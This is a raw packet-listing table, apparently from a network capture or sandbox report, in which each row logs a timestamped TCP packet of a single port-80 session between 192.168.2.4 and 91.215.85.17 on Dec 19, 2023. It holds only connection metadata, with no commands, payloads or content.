Dec 19, 2023 03:22:29.464164019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464174986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464188099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464188099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464209080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464240074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464257956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464271069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464284897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464294910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464302063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464320898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464320898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464334965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464334965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464354992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464370966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464386940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464395046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464412928 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464435101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464461088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464494944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464504957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464517117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464531898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464545012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464549065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464572906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464589119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464603901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464639902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464670897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464682102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464725971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464739084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464757919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464760065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464778900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464799881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464812040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464814901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464828014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464853048 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464879990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464895964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464910030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464916945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464926958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464971066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464982033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464998007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465012074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465034008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465044022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465058088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465075970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465107918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465130091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465147972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465183973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465233088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465285063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465301037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465338945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465364933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465396881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465440035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465471029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465504885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465533972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465548038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465579987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465607882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465631008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465642929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465667009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.465713978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465740919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.465749979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.472028971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.484462023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.660959959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.661043882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.661103010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.661586046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.661631107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.661685944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.661752939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.661830902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.661979914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662020922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.662046909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662162066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662185907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662205935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.662218094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.662256002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662316084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662358999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.662728071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662790060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.662828922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.662913084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663017035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663158894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663171053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663193941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663196087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.663218021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.663377047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663583994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663620949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.663669109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663789034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663827896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.663897991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.663934946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.663985968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664064884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664258003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.664418936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664578915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664618969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.664666891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664769888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664874077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664889097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.664896011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.664928913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.664953947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665045977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665086985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.665128946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665277004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665313005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.665366888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665433884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665473938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.665529966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665611982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665652990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.665699959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665741920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665812969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665849924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.665901899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.665980101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666021109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.666038990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666083097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.666112900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666244984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666281939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.666296005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666357040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666429996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.666450977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666507959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666543961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.666630030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666703939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666789055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666866064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.666876078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.666919947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.666924000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667027950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667129040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667143106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.667196989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667233944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.667294025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667392015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667511940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667547941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.667597055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667674065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667710066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.667790890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.667825937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.668044090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668056965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668096066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.668124914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668237925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668288946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668294907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.668395996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668517113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668561935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.668593884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668677092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668716908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.668756962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668797970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.668847084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668917894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.668956041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.669094086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669106007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669135094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.669184923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669312954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669406891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669439077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.669507027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669667959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669717073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.669764996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669802904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.669850111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.669964075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670002937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.670006990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670183897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670196056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670221090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.670357943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670399904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.670428038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670545101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670584917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.670634985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670665026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670705080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.670813084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.670948982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671017885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671061039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.671127081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671194077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671231031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.671261072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671295881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.671309948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671396017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671435118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.671478033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671499968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671536922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.671571016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671668053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671730042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671768904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.671824932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671917915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.671957970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.672019005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.672053099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.672183990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.672555923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.672609091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.672645092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.672679901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.672693014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.672702074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.672735929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.672753096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.673401117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.673417091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.673443079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.673460960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.673602104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.673737049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.673778057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.673785925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.673880100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.673918009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.673970938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674015999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674062014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674097061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.674173117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674259901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674299002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.674346924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674379110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674400091 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.674458027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674550056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.674567938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.674612999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674730062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674797058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674832106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674835920 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.674902916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.674942017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.675003052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675040960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.675088882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675260067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675296068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.675342083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675506115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675518990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675544024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.675605059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675642014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.675694942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675800085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675831079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.675883055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.675970078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.676009893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.676088095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.676245928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.676409006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.676419020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.676826954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678262949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678320885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678333044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.678345919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678440094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678476095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.678525925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678622961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678661108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.678734064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678771973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.678819895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678947926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.678983927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.679039955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679102898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679143906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.679191113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679297924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679336071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.679375887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679446936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679541111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679568052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.679626942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679677963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.679729939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.679858923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.679900885 CET	80	49738	91.215.85.17	192.168.2.4
